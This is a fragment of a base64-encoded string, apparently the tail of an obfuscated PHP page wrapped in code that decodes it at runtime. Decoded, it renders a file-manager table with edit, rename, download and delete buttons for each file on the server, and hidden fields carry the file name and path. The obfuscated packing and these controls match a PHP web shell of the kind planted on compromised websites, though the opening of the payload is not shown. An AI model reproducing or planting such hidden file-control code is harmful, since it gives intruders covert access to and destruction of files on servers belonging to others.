SRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } });